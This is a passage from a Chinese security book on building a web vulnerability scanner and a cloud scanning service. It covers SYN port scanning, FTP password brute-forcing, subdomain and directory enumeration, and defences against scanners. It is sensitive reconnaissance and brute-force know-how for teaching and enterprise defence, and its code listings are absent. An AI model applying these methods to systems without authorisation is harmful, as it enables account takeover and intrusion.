获取目标IP地址后，就可以对该IP地址进行端口扫描和服务信息识别了。在渗透工程师的眼中，每个对外提供服务的端口都是一个入侵的通道，所以需要知道目标每个端口的开放情况和提供的服务信息。我们知道，一个 IP 地址可以有 65536（216
 ）个端口，范围则是从 0 到65535（216
 -1），每个端口按照协议又可以为两种类型：一种是TCP端口；另一种是UDP端口。

TCP、UDP都是IP层的传输协议，其中TCP是面向连接、可靠的字节流服务；UDP则是不可靠的，面向数据报的服务。每一个端口都会支持这两种协议，因此可以基于这两种协议进行端口扫描，由于UDP端口扫描的可靠性不高，所以这里还是基于TCP端口扫描来实现。常见的TCP端口扫描方法有很多，如TCP connect Scan（全连接扫描）、TCP SYN Scan（半开放扫描）、TCP FIN Scan、TCP ACK Scan和TCP NULL Scan等，这里用TCP SYN扫描来实现。

TCP SYN 扫描，是一种常用的端口扫描方式，又称半开放连接。这种扫描方式，在TCP三次握手中向每个端口发送一个 SYN 数据包，如果收到的是服务端的 SYN/ACK 同步应答数据包，则表示端口开放，然后就直接发送 RST 数据包来终止握手过程；如果收到的是服务端RST数据包，则表示端口关闭。因此SYN扫描不仅隐蔽性好，而且扫描速度非常快。

通常有两种方式去实现端口扫描：一种是自己构造原始的 IP 数据包，并计算校验值，然后进行发送；另一种是利用已有的模块进行端口检测，这种方式可以省去很多的组包细节，快速地实现端口扫描功能，让我们把更多的精力放在扫描器的功能完善和扩展上。因此，这里使用第二种方式来实现端口检测。

Nmap（Network Mapper）是由Gordon Lyon设计的，是用来探测计算机网络上的主机和服务的一种安全扫描器。为了绘制网络拓扑图，Nmap 发送特制的数据包到目标主机，然后对返回数据包进行分析。Nmap 是一款枚举和测试网络的强大工具，它同时能够扫描出目标的详细信息，包括主机存活、端口开放和服务名称等。

官网地址：https：//nmap.org/。

Libnmap是Nmap的Python第三方库，可以让Pyhton开发者轻易地操作Nmap的扫描过程和扫描结果。

官方文档：https：//libnmap.readthedocs.io/en/latest/genindex.html。

这里借助Nmap扫描器来实现IP/端口的检测功能，通过设置Nmap的扫描参数，利用SYN扫描方式来探测目标端口的开放状态及服务信息，部分实现代码如下：
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6.6.2 端口破解模块

在对IP地址进行端口扫描之后，就能知道该IP对外所提供的服务了。通常情况下，每个服务都应设置登目认证，只有当访问者认证通过后，才会授予其相应的权限使用该服务，避免非授权访问的风险。而如果目标系统没有对认证的错误次数做相应的访问控制策略，那么它就会存在暴力破解的风险。攻击者可以通过构造账号和密码的字典组合，对端口持续地进行暴力破解，直至获取正确的账号信息。

通常，不同的服务会用到不同的协议进行通信，比如，邮件服务有POP3、SMTP和IMAP，数据库服务有MySQL和MSSQL等。可以在Python中使用对应的协议模块，然后通过构造账号、密码字典循环进行登目尝试，即可实现端口的暴力破解。由于网络服务的种类和协议比较多，这里笔者就不一一介绍了。下面以FTP服务来举例实现，部分代码如下：
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可以利用它对FTP服务的端口进行暴力破解，如下图：
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6.6.3 子域名信息枚举

对于一个根域名而前，它通常不止一个www的二级域名。子域名信息枚举，就是尽可能多地挖掘根域名下的子域名信息，为后续的安全审计提供足够的输入源。子域名信息枚举通常有下面三种方式：

第一种，通过抓取搜索引擎的收目，如：百度或谷歌等。可以在搜索引擎中输入“site：anquanbao.com”，如下图：
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第二种，通过互联网的第三方服务，互联网上有一些提供子域名信息的服务网站，如“http：//searchdns.netcraft.com/”，直接输入根域名，就可以获取相应的子域名，如下：
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还有最后一种方式，就是通过字典构造子域名信息进行暴力枚举，通过向 DNS 服务器发送DNS Query，根据返回信息来判断当前子域名是否存在。

其实每种方式都有各自的利弊，可以将它们进行综合利用。前面两种方式通过构造对应的接口请求就可以获取子域名信息，实现相对简单。因此，这里主要介绍最后一种方式，通过DNS的查询结果进行子域名的暴力枚举，部分实现代码如下：
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6.6.4 文件、目录暴力枚举探测（不可视URL爬取）

文件、目目暴力枚举探测的实现方式主要是通过常用的路径字典信息构造URL路径列表，然后向服务端发送HTTP请求进行探测，根据服务端响应的状态码和内容进行判断。不过，这里的字典构造还是有讲究的，它既要控制扫描的时间，减少过多无意义的请求，又要保证扫描的效果，确保探测出来的信息是有入侵价值的。

因此，我们就需要明确：哪一类不可视 URL 是最想获取的？其实，可以从结果出发进行反向推导：渗透测试的目标是系统的权限和敏感数据，那么如何快速地获取这些内容，最简单的情况当然就是拥有目标管理员的权限，即对应的账号和密码。所以，我们需要获取的不可视URL应该是能够包含这些内容或与其相关的。而这类信息的来源主要可以分为下面两类：


1.管理后台信息


管理后台登目地址、管理后台页面等。


2.身份认证信息


配置文件、测试文件、说明文件等。

文件、目目的暴力枚举功能实现比较简单，在这里只需要对404页面进行准确识别，就可以避免大量的误报，部分代码实现如下：
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6.6.5 扫描引擎

至此，扫描器的基础功能模块都已实现。现在，就可以按照渗透测试思路来实现扫描引擎，这里笔者根据自己的渗透测试思路对扫描器的工作流程进行梳理，如下。

（1）对目标的根域名进行子域名信息收集，获取子域名和关联IP。

（2）对子域名和关联IP进行端口扫描和服务探测，主要需要处理的任务有：

将提供HTTP服务的目标加入扫描列表。

对常见的服务进行暴力破解。

（3）对提供HTTP服务的目标进行文件、目目枚举探测，获取不可视链接。

（4）对提供HTTP服务的目标依次进行安全扫描，主要包括网络爬虫和漏洞审计。

（5）将扫描的结果进行整理和可视化输出，形成扫描报告。

接下来，就按照上面所讲的工作流程组织和关联各个功能模块，实现完整的扫描功能，部分核心引擎代码如下：
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这样，就完整地实现了一个简易的Web扫描器，具体扫描的效果，如下图：
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6.7 扫描报告

为了将扫描结果可视化地展现出来，还需要生成对应的扫描报告，实现这个功能模块相对简单，只需要对设计的数据结构进行解析和展现即可。因此，笔者在这里仅将扫描的结果简单地生成HTML类型报告，如下图：
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6.8 扫描测试

现在属于自己的扫描器已开发完成，下面可以对该扫描器的功能和效果进行测试，衡量扫描器的质量和指导改进，这里有两个重要的指标：

召回率

主要用来衡量扫描器的漏洞覆盖能力，说得通俗点就是漏洞测试平台总共有多少个漏洞，而扫描器可以检测出来多少个，还有多少个是漏报的。

准确率

主要衡量扫描器识别漏洞的准确性，检测出来的漏洞是否存在误报。

可以用这两个指标来评估一下当前扫描器的质量和效果。

下面可以用第三方国际标准测试集Wavsep项目来测试扫描器的实际效果，该项目收集了很多漏洞场景的测试案例。它将漏洞类型分成了六类，其中前五类属于漏洞功能测试，第六类是扫描误报测试，如下图：
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由于Wavsep的测试集内容很多，而且其中还有一些漏洞的检测并没有实现，因此这里只选取了已实现的功能进行测试集验证，具体的信息如下：
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从上面的结果可以看出，现阶段的扫描器只能够检测出各类中的一些漏洞，但它并不能覆盖所有的漏洞集。可以通过上面的数据计算出扫描器的召回率为83%，误报率为12%。对于其中没有检测出来的漏洞，可以通过漏洞场景化的分析方式来增加扫描器的检测能力；而对于检测错误的漏洞，则可以通过改进检测原理和加强匹配特征，或增加必要的漏洞验证环节，从而提高扫描器检测的准确率。利用这两个关键指标持续地完善和改进自己的扫描器。


第7章 云扫描

本章我们一起来学习和认识云扫描相关的知识和技术。

7.1 什么是云扫描

在扫描器基础知识中，我们介绍过，云扫描其实是扫描器的一种云端形式，它主要通过SaaS化的方式提供扫描服务，可以用于大规模扫描，具有良好的弹性和扩展性。从本质上来，说它是扫描器与云端技术结合的产物。

7.2 云扫描架构

在学习云扫描之前，先来认识一下云扫描的架构，通常它会使用分布式的方式进行构建，这样便于扫描能力的横向扩展，如下图：
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从上图中，可以看到云扫描的架构中涉及5类主要角色：WebUI、数据存储、消息队列、任务调度、扫描器Worker。当然，在真实环境中，为了保证系统的稳定，还需要增加对所有角色的监控。由于这里仅讨论云扫描自身的架构，因此暂不考虑这部分内容。

下面分别对这5类角色进行讲解。


1.WebUI


云扫描的前端页面，主要用来与用户进行交互操作，以及扫描报告的展现。


2.数据存储


对扫描任务、中间状态和扫描结果进行存储，便于前端进行内容展现和任务驱动。


3.消息队列


消息队列，其实是一种在线程、进程或机器间分发任务的机制，这里主要用消息队列对扫描任务进行冗余和缓存。有时候在处理数据的过程中会失败，因此需要通过这种方式进行冗余处理，把数据进行持久化直到被完全处理，避免数据丢失的风险。在云扫描中，用户提交扫描任务的速度很快，而对目标的扫描却属于耗时任务，非常慢，因此需要通过消息队列来对这些任务进行缓存，减少扫描器并发处理的压力。

常用的消息队列中间件有：ActiveMQ、RabbitMQ和ZeroMQ等。对于中小型项目也可以使用数据库作为消息队列，如：Redis、MongoDB和MySQL等。


4.任务调度


任务调度主要对用户提交的任务进行合理调度和分发执行，同时还需要考虑充分利用云端的计算资源，以及对任务具有较强的容错性。

那么如何进行任务调度？这里主要涉及两个重要的功能：一个是读取任务；另一个是分发任务。由于扫描工作属于非常耗时的任务，因此可以通过预读取一定数量的任务在本地进行缓存，这样就可以加大每次循环读取的时间间隔，从而降低任务调度对数据存储频繁读取的压力；而分发任务则可以按照轮询算法进行处理，每次任务分发的时候平均分给每台执行单元。这里笔者选择的是分布式调度，每个扫描节点都会有自己的任务调度，这样可以避免集中调度的单点故障。

在实际的应用中，可以使用开源的任务调度框架，这样可以让开发工作更加简单。Python中常用的任务调度框架有：APScheduler、Celery和sched等。


5.扫描器Worker


执行具体的扫描任务，并且向存储上报扫描状态和结果。

7.3 云扫描实践

在了解云扫描的架构后，再来看一下它的工作流程，虽然其中所涉及的角色很多，但整个流程却相对简单，如下：

（1）用户通过WebUI提交扫描任务，该任务直接存入数据库。

（2）消息发送器对数据库进行监控，发现有新任务则将其发送到任务消息队列中，同时这里还需要定义一个标准的消息格式，能够提供扫描所需要的必备信息，并保证前端与后端的数据一致。

（3）消息接收器会对任务消息队列进行监控，当消息队列中有新的消息时，就会将其消费掉，并通过调度程序对该任务进行分发扫描。

由于整个过程比较重，中间环节非常多，这样对于调试和测试不太方便，并不太适合个人维护，而且机器数量要求也相对多一些。为了减少中间环节和简化设计，可以改用数据库来充当消息队列，在千万级别的任务中，实际的延迟并不大，在可接受的范围之内。这样整个云扫描架构就只需要三台机器：一台作为WebUI；一台作为数据存储；最后一台作为调度引擎和扫描器Worker。简单的结构图如下：
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7.3.1 Celery框架

这里用Celery（芹菜）进行构建，Celery是一个简单、灵活、可靠，且能处理大量消息的并行分布式任务调度框架。

它由三部分组成：消息中间件（message broker）、任务执行单元（Worker）和任务结果存储（task result store）。其中，Worker以Pool模式启动，默认大小为CPU核心数量。由于Python中存在全局解释锁（GIL）的概念，在多核CPU的情况下，多进程的执行效率会优于多线程，因为这样每个进程就会有各自独立的 GIL，互不干扰，可以充分利用 CPU 资源，提高任务执行效率。
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1.消息中间件


Celery本身并不提供消息服务，但是它可以很方便地和第三方提供的消息队列集成，这里选择使用Redis作为消息中间件。


2.任务执行单元（Worker）


这里的 Worker 其实就是扫描器，属于任务执行单元，它可以并发地运行在分布式的系统节点中执行扫描任务。


3.任务结果存储


由于在扫描的过程中，扫描器需要与数据库进行实时通信，并通过数据库将扫描的运行状态和最终的扫描结果反馈给前端，从而展现给前端用户操作和使用。但扫描却是一个比较费时的任务，因此这里并不太适用将最终的结果进行存储，所以需要把任务存储的功能在扫描器自身中进行实现。

7.3.2 扫描器Worker部署

下面对扫描器Worker进行部署。


1.安装Celery


利用pip进行安装，执行如下命令：
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安装成功后如下图：
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2.安装Redis


从官网下载源码编译安装，如下：
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安装成功后，启动Redis服务，并在后台运行，如下：
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安装成功后如下图：
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然后再安装Python环境中的Redis操作模块，如下：
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3.安装Flower


Flower是一个针对Celery的Web监控和管理工具，它可以对Celery的任务、状态进行实时监控和管理，安装的过程也非常简单，如下：
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然后启动Flower，如下：
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通过访问http：//localhost：7788就能查看Flower的Web页面，如下图：
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4.扫描任务程序


扫描器Worker的基础环境部署就此完成。下面需要编写任务程序，告诉扫描器Worker具体的执行内容，这样它才能进行工作。部分实现代码如下：
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5.启动扫描器Worker


使用命令启动扫描器Worker，如下：
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其中，“-A”参数表示Celery应用的名称，这里扫描任务应用为scan.py，因此该参数为：scan，执行成功后如下图：
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为了便于扫描器的运行和维护，这里通过编写启动脚本来实现，具体代码如下：
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7.3.3 云端调度

云端调度需要实现两个功能：任务读取和任务分发。它首先通过任务读取循环不断地从数据存储中读取用户提交的扫描任务然后利用任务分发将这些扫描任务不停地分发给每个扫描器Worker执行。任务读取可以使用Python的RPC方式来实现。RPC是Remote Process Call的缩写，中文为远程过程调用，简单地说就是它可以将对象名、函数名和参数等传递给远程服务器，同时让远程服务器将处理的结果返回给客户端。由于扫描节点执行的任务相同，它们与数据库的交互操作也相同，因此我们把扫描器与数据库的交互操作统一放在远程服务器上来实现，这样带来的好处有：

扫描器与数据库的通用操作在一个地方实现，便于后续的更新和维护。

不将数据库直接暴露给扫描节点，避免因节点增多导致数据库的高并发和高负载。

下面开始对云端调度的工作进行讲解。


1.数据库操作服务


这里可以使用rpyc（Remote Python Call）模块来实现，它是一个Python的库，是用来实现RPC和分布式计算的工具，支持同步和异步操作、回调和远程服务，以及透明的对象代理。下面简单介绍一下rpyc模块的使用方法。


安装rpyc


可以利用pip来安装rpyc，执行命令如下：
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服务端程序：
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其中服务端是以“exposed_”开头声明的函数，客户端可以进行调用和执行。

客户端程序：
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注意：


这里rpyc所实现的服务并没有认证机制，实际上任何客户端都可以直接访问到服务端对外暴露的方法，因此在实际应用中，需要使用白名单对客户端进行访问控制。

客户端通过“c.root”对象就可以对服务端的函数进行调用和执行，具体的效果如下图：
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这样可以把数据库的操作和实现都在服务端进行实现，并将对应的函数暴露给客户端调用，具体代码如下：
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2.任务调度


现在已经可以通过 RPC 的方式从数据库中读取任务了，下面需要在节点上实现任务分发的功能。为了避免频繁地读取数据库，同样需要在本地创建一个任务队列进行缓存，具体的调度流程为：

（1）读取每次需要分发的扫描任务，这里定义为：MAX_DISPATCH_TASK。

（2）按照设定的任务消息格式，将扫描任务信息放入本地的任务队列。

（3）循环获取任务队列中的任务，调用扫描Worker来执行，将扫描任务放到Celery的任务队列中待执行。


3.任务获取


在扫描节点中，通过 RPC 的方式获取扫描任务，其中数据库的具体操作在服务端进行实现，而在客户端则主要是对任务获取函数的调用，以及任务消息的定义和转换，部分代码如下：
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4.完整调度


现在就可以对扫描任务进行完整的调度了，实现任务获取、任务分发，以及启动扫描器Worker等功能。具体代码如下：
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5.数据存储


这里暂不考虑其他复杂的业务逻辑，只简单实现扫描结果的输出和展现。在数据存储中设计两个数据表：任务队列表与结果存储表，然后按下面的表结构创建数据库，如下：

任务队列表
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结果存储表
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其中扫描器（Worker）通过 RPC 方式将扫描结果存储到结果存储表中，任务调度同样也是通过RPC的方式从任务队列表中获取扫描任务进行任务分发的。

7.4 云扫描服务

现在将云扫描中的所有角色：WebUI、任务调度、扫描器（Worker）和数据库操作服务（RPC）都运行起来，而这些角色的实际部署情况为：WebUI和数据库操作服务（RPC）为一台机器，任务调度和扫描器（Worker）为一台机器，数据存储为一台服务器。最后按照下面的流程操作即可实现云扫描服务：

（1）启动数据库服务，并创建好扫描器所需要的数据表。

（2）启动WebUI和数据库操作服务（RPC），如下：
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确认服务是否正常运行，如下图：
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（3）启动任务调度和扫描器（Worker）。

启动扫描器Worker，如下：
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启动任务调度，如下：
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注意：


在实际的环境中，我们希望程序可以在服务器的后台运行，这里可以使用nohup命令，它能够使程序在退出账户或关闭终端之后仍然继续运行，而不受终端 HUP 信号的影响，达到真正的后台运行。

此时就可以通过访问 WebUI 前端服务，提交对应的扫描任务了，实际的运行效果，如下图：
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本章讲述了如何搭建一个小型的云扫描系统，这里涉及云端架构、任务调度、扫描器（Worker）和数据存储等知识，但仍然还有很多知识没有涵盖到。云扫描其实是一个系统的工程，它需要考虑的东西还有很多，比如：容错能力、异常恢复、设备监控和资源利用率等，读者可以在此基础上继续改进和完善。


第8章 企业安全扫描实践

8.1 企业为什么需要扫描

扫描作为企业主动发现自身安全风险的一种方式，它的特点是检测效率高、覆盖面广。当线上业务更新或 0day 漏洞爆发时，都可以使用扫描器对企业的资产进行轮询检查，这样就可以在一定程度上做到事前发现问题，提前修复预防，从而减少安全问题造成的损失，提高整体业务的安全基线。

当然，它也有自身的局限性，比如：爬虫爬取的链接不全、复杂的业务逻辑漏洞不易触发、账号权限相关的漏洞无法识别等，但这并不影响它固有的价值。我们可以在企业的扫描实践中，结合不同的应用场景来互相补充和完善，最大程度消除其局限性，提高扫描的检出能力，最终达到降低业务线上安全风险的目标。

8.2 企业扫描的应用场景

扫描器是由网络爬虫与漏洞审计两个主要部分组成的。网络爬虫的主要目的是获取URL，然后提供给漏洞审计进行检测，它可以理解为扫描器的输入源，因此，可以把扫描器的概念进一步抽象为“输入源+漏洞审计”，这样有助于我们更加清楚地了解扫描器的本质。此时“输入源”就不再局限于网络爬虫，它可以是网络流量，也可以是访问日志。下面就来看看企业里常用的两种扫描场景。

8.2.1 基于网络流量的扫描

网络流量，记目着所有向目标发起的请求及对应的响应信息，具有覆盖面广、完整度高的特点。通过这种方式，不仅可以弥补网络爬虫的不足，扩大 URL 的覆盖面，还可以对 HTTP请求中的其他请求头字段进行Fuzz测试，丰富检测纬度。

在网络流量扫描中，通常会涉及全流量系统，它会在外网的核心入口处通过镜像交换机对流量进行统一的镜像操作。在获取到相应的网络流量后就可以对其进行安全扫描，具体的实践可分为四个部分：流量获取、解析过滤、数据存储和漏洞审计。下面就按照这四个部分依次进行介绍。


1.流量获取


在企业中，流量获取的常用开源技术实现方案有DPDK、pf_ring、netmap，其中以DPDK成熟度最高，并被大量商用。因此，这里用DPDK来演示获取网络流量。不过DPDK 目前只支持Intel的网卡，而且对硬件有一定的要求，它需要至少有两个CPU和三块网卡，所以在安装之前，要在虚拟机中添加对应的硬件设备，添加完成后才能安装DPDK。

下面是安装DPDK的步骤。

（1）下载项目源码，编译、设置环境变量

下载地址：git clone git：//dpdk.org/dpdk。

由于该项目源码存在一个bug，所以要先打上补丁或手工修改文件后才能在虚拟机中编译运行，补丁文件如下：
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设置环境变量，编译，如下：
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（2）配置大页内存
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（3）安装驱动
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（4）绑定网卡

首先，查看网卡的PCI地址，如下：
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然后，绑定网卡：
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这样就安装成功了，运行testpmd测试程序，可以查看捕获数据包的统计信息，如下：
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现在，我们就可以用DPDK自带的工具程序dpdk-pdump来捕获网络流量了。


2.解析过滤


网络流量信息会按照标准的PCAP文件形式存储在硬盘上，因此，首先需要对PCAP文件进行解析，获取其中的HTTP流量；然后对其进行过滤处理，将自身安全扫描引入的流量进行清洗，避免重复检测，过滤的条件可以用 IP 地址和扫描签名进行处理。对于 PCAP 文件的解析，可以使用Python的httpcap模块，它能够从PCAP文件中按照会话的形式解析出HTTP流量，还能够对其进行相应的过滤。

Github地址：https：//github.com/nicktang1983/httpcap。


3.数据存储


至于数据存储，通常网络流量的信息比较大，而且我们的目标主要是提取全流量进行扫描，并不需要对这些信息进行检索和查询，因此，可以直接用硬盘进行存储。但为了便于对流量信息的定位和排查，这里按小时对流量文件进行归档存储，效果如下：
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4.漏洞审计


最后，就可以通过读取对应的PCAP文件，对其中的HTTP流量数据进行解析来完成主动的安全扫描和漏洞审计，简单的代码实现如下：
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这样它就可以对所捕获流量中的HTTP请求进行漏洞审计了，运行的效果如下：
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提示：


DPDK（Data Plane Development Kit），是Intel研发的基于X86平台的用户态高性能报文处理SDK；PCAP，是一种报文捕获协议，Tcpdump工具基于该协议，在存储报文时也使用该协议。

下面是IDS与基于网络流量的扫描的区别。

IDS，属于漏洞被动的感知，在检测过程中，不会产生任何新的流量，主要通过分析网络中的双向流量来发现其中的安全风险和问题。而基于网络流量的扫描，属于主动扫描的范畴，只不过输入源由传统的爬虫变为了网络流量。

8.2.2 基于访问日志的扫描

访问日志，同样记目着客户端访问的每一个请求。虽然它的检测纬度不如网络流量那么全，但是仍然比网络爬虫的覆盖面广，而且它的获取方式简单，便于操作。同时，对于加密的HTTPS请求也可以进行扫描。不过，通常Web服务器中默认的访问日志所记目的信息并不太全，因此，需要对其进行必要的配置和信息的扩充才能更好地进行扫描，下面就以Nginx的访问日志为例，来介绍如何基于访问日志进行扫描。

在Nginx的配置文件中，可以通过log_format和access_log两个指令来设置与日志相关的操作。其中，log_format指令用来设置日志文件格式和内容，具体的用法如下：
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access_log指令则是用来指定日志文件的存放路径（包含日志文件名）、格式和缓存大小，具体用法如下：
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当Nginx默认安装后，访问日志的配置内容如下：
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log_format 指令会创建一种名为“access”的日志格式，日志的格式为单引号中包围的内容，而格式字符串中的每一个变量代表着一项特定的信息；access_log 指令会将这些信息按照格式串规定的次序依次写入路径为“/home/wwwlogs/access.log”的日志文件中。

这时，如果有客户端发起的访问请求，那么对应的一条访问日志记目则为：
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但在安全扫描中，通常还需要获取 POST 请求的数据信息，这时就需要为 Nginx 添加ngx_lua扩展模块（http：//wiki.nginx.org/HttpLuaModule），具体步骤如下：

（1）安装lua语前，这里选择luajit（http：//luajit.org/luajit.html），它是lua的高效率版本，如下：
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（2）下载Nginx模块代码并解压，如下：

ngx_devel_kit模块代码
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lua_nginx_module模块代码
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（3）查看Nginx编译时的参数，如下：
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（4）增加ngx_lua的模块，对Nginx进行重新配置、编译，如下：
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（5）备份和替换原Nginx二进制文件，如下：
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（6）在nginx的配置文件中，增加如下代码：
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（7）重新设置日志格式，如下：
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此时，Nginx的访问日志就可以记目POST请求的数据信息，如下：
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接下来，可以对访问日志进行扫描实践。

首先，需要对服务器的访问日志进行采集和集中存储；

然后，对这些访问日志进行解析和过滤操作；

接着，再对这些过滤后的数据进行数据适配，转化成对应的HTTP请求，此时，就可以对这些HTTP请求进行正常的漏洞审计和安全扫描了。

具体的工作流程如下：

日志采集、存储→日志解析、过滤→适配、扫描。

（1）日志采集、存储

在企业内部中，通常不止一台Web服务器。为了能够对所有的目标进行安全扫描，首先需要对日志信息进行集中采集和存储。在Linux平台下，一般可以使用syslog和rsyslog。它们既可以把日志记目在本地文件中，也可以通过网络发送给接收syslog的服务器进行集中存储。当然，还有比较成熟的开源日志采集方案，如Facebook的scribe、Twitter的fluented等。由于rsyslog是syslog的代替品，功能多、性能好，属于系统默认的日志系统，同时它的配置和使用也相对简单，因此，这里就选择用rsyslog进行简单的访问日志采集。

首先，对采集端的Web服务器进行配置，如下：
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其次，重启rsyslog服务，如下：
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接着，对接收端进行配置，在接收端的rsyslog.conf配置文件中增加下面的代码并保存：最后，重启服务即可：
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这样就能够对访问日志进行分布采集和集中存储，当再次访问 Web 服务器时，访问日志就会同步到接收端进行存储，具体效果如下：
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（2）日志解析、过滤

获取访问日志后，接下来可以对这些日志信息进行解析和过滤处理，这里用Logstash进行处理，Logstash是一个可以实时进行日志收集、解析，并将数据传输到需要的位置（服务器、文件等）的轻量级开源框架。官方文档地址为 https：//www.elastic.co/guide/en/logstash/2.3/index.html。

Logstash 的日志收集和输出是通过管道方式进行的。它的处理流程包括三个方面：inputs→filters（非必需的）→outputs，其中，inputs产生日志收集事件，filters对日志进行处理，outputs输出日志，如下图：
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Logstash的安装非常简单，直接下载源码解压即可使用。通过配置filter就可以实现对访问日志的解析和过滤，具体配置文件的形式如下：
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对于访问日志的解析和过滤，可以在filter中实现。Logstash使用grok正则进行解析和匹配，同时它内置了非常多的常用正则，根据这些常用的正则和访问日志的格式可以很容易地写出匹配规则，常用的正则可以从链接 https：//github.com/logstash-plugins/logstash-patterns-core/blob/master/patterns/grok-patterns获取，部分截图如下：

[image: ]


访问日志格式：
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两者的对应关系如下：
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下面就可以对访问日志进行过滤操作，这里主要实现将无效的访问日志和安全扫描日志过滤，filter的部分配置内容如下：
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下面用一条有效的访问日志来测试效果，它会被匹配并按字段进行解析，如下图：
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（3）日志适配、扫描

在这个环节中，需要对过滤后的日志进行数据适配，并将其转化为对应的HTTP请求，然后调用扫描器对这些HTTP请求进行漏洞审计，简单代码实现如下：
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运行效果如下：
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8.2.3 扫描的应用场景比较

下面列出几种扫描的应用场景，对其优缺点进行比较，如下表：
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第9章 关于防御

扫描器作为一个自动化的漏洞检测工具，本身并没有任何威胁可前，主要取决于使用者的角色。如果攻击者使用它对目标进行扫描，那么对于我们而前，它可能就是一次潜在的安全攻击。对于扫描器的学习和研究，最终也是希望我们在了解扫描器的同时，既能用扫描器来辅助企业内部的安全建设，又能思考和给出针对扫描器攻击的防御措施。

扫描器是由两个部分组成的：网络爬虫和漏洞审计。因此对于扫描器的防御，也可以按照这两个方向进行对抗。但这些反制策略，扫描器在知晓后也都是有办法绕过的。所以说，攻防对抗实际上是一场没有终点的斗争，它们需要持续博弈和抗衡。

9.1 爬虫反制

爬虫反制，是指对扫描器中的网络爬虫环节进行反制。通过一些反制策略来阻碍或干扰爬虫的正常爬行，从而间接地起到防御目的。爬虫的反制策略有很多，总体可将其归为两大类。

下面进行详细讲解。

9.1.1 基于IP的反爬虫

基于IP的反爬虫，其思路主要是对爬虫的IP进行封禁，通过一些策略来识别爬虫的IP，然后通过IP粗暴地对爬虫进行屏蔽和阻止。但由于IP这个粒度比较大，容易造成误杀，所以对于大流量的网站，可以通过该方法来建立自己的黑IP库。常见的策略有：


1.利用隐藏标签识别扫描器IP


可以在页面中嵌入一个隐藏的超链接标签。对用户而前，它其实是不可见的，因此也并不会对网站产生影响；而对扫描器而前，它却是可见的，因此扫描器在爬行的过程会主动触发该请求，从而识别出扫描器的IP。

在页面中嵌入下面的代码：
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这样扫描器在爬取的过程中，就可以利用anti_scan_crawl.php记目和存储扫描器的IP信息，如下：
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然后对这些IP进行回溯分析和跟踪确认，从而形成扫描的黑IP库，最后就可以对这些黑IP库采取相应的封禁措施。


2.利用Cookie识别扫描器IP


有的扫描爬虫单纯为了爬取链接，并不会对Cookie进行处理和响应。由于Cookie是浏览器必须遵循的一个机制，因此可以在Response的响应头中增加下面信息：
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其中，test的md5值为098f6bcd4621d373cade4e832627b4f6，在Nginx的配置文件中增加下面代码：
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然后，通过对访问日志中的Cookie信息进行分析和提取，找到那些可疑的非浏览器IP。在实际应用中，需要通过关联信息进行二次分析和确认，然后再进行相应的封禁处理。


3.利用访问日志识别扫描器IP


由于爬虫是通过程序来自动化地爬取网页的，因此它在单位时间内的请求量比较大，而且相邻请求的时间间隔较为固定。而在通常情况下，人们在访问网页时，在单位时间内的请求量却不会太大，而且中间的时间间隔无规则。因此可以利用这个策略进行分析和识别扫描器IP。

首先，通过对IP单位时间的访问频率进行倒序排列。

然后，对每个IP的访问请求进行相邻请求的时间间隔计算，得到一组数列。

最后，计算每组数列的方差，而其中方差较小的IP地址极有可能为扫描器IP。

当然在实际的应用中，可以利用阈值进行相应的控制和调整，具体操作如下：

（1）对访问日志中的IP请求数，按照倒序进行排序如下：
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（2）计算每个IP相邻请求的时间间隔，获取待分析的样本数据。

计算样本数据的方差，部分代码如下：
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下面是笔者针对某一天数据的简单分析结果，如下（时间间隔的单位为秒）：
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通过对这次实际样本分析结果，可以得出一个初步的结论：爬虫的方差阈值为50W，当方差小于50W的时候，该IP的请求极有可能是由爬虫发起的。当然，在实际的应用中，还需要进行大量的样本分析和确认工作，这里的目的只是介绍一种可行的思路。

9.1.2 基于爬行的反爬虫

基于爬行的反爬虫，其思路主要是在爬虫的爬行中设置爬行障碍，让其陷入死循环；或者用一些无意义的URL来填充其爬行队列，从而阻止其对正常URL进行后续的漏洞审计。

通常可以在某个页面中利用隐藏标签来设置爬行陷阱，常见的方式有：


1.设置大文件陷阱，消耗爬虫的网络IO


爬虫在爬行的过程中，通常需要对HTML文件进行页面解析，获取新的URL。但如果该HTML文件过大，那么在长连接模式下，HTTP协议就会采用chunked编码的方式将内容分块输出，这样就会使爬虫陷入较长时间的等待，从而影响其后续正常的爬取，举例如下。

服务端文件：
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在客户端进行测试，如下：
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程序会陷入阻塞状态，一直在等待，运行结果如下：
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2.设置大量无效URL，恶意填充爬虫的爬行队列


为了保证自身的稳定性和健壮性，避免运行过程中的内存溢出，通常爬虫都会设定爬行队列的上限。因此，可以在页面中填充大量的无效URL，这样就能提前终止爬虫的后续爬行。通过下面的代码可以生成指定数量的随机链接，如下：
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9.2 审计反制

审计反制，指的是对扫描器中的漏洞审计环节进行反制。通过干扰其正常的漏洞审计流程，从而达到自身防御的目的。审计环节主要围绕的是攻击和漏洞，所以我们需要应用WAF（Web应用防火墙），其作用就是防御各类Web攻击和漏洞。WAF通过对这些攻击或漏洞进行签名和策略制订，然后通过执行这些安全策略来保护对应的Web应用。

9.2.1 云WAF

云WAF是WAF的另一种表现形态，它将WAF的功能在云端进行实现。只需要把域名的解析权交给云WAF，它就可以利用DNS调度技术，改变网络流量的原始流向，将网络流量牵引到云端的WAF上，云端的WAF对流量进行净化和过滤后，将安全的流量回传给后端真实的应用，最终达到安全过滤和保护的作用。

笔者之前所在的公司安全宝，主营业务就是云WAF。在推广和普及云WAF时，曾遇到了很多的质疑和问题，比如：

（1）为什么部署了WAF后，扫描器还会检测出漏洞？

（2）为什么部署了WAF后，黑客还可以入侵和脱库？

这两个问题从技术上回答并不太难，主要是对WAF的价值和安全防御理念认识不清所致。所以这里有必要重新认识一下WAF的价值，以及如何进行有效的安全防御？

9.2.2 云WAF的价值

云WAF的价值主要包含以下部分。


1.它是一种替身式防护


如果目标加入云 WAF 系统中，那么用户访问目标网站的数据流向就会发生改变。正常的情况如下图：
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当把域名解析权交给云WAF系统后，情况如下图：
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可以看到，用户是直接与云WAF进行通信的，然后再由云WAF转发给目标网站，这中间用户并没有直接与目标网站建立连接，因而它可以隐藏目标网站的真实IP，从而起到了替身保护的作用。


2.它是一种虚拟化补丁


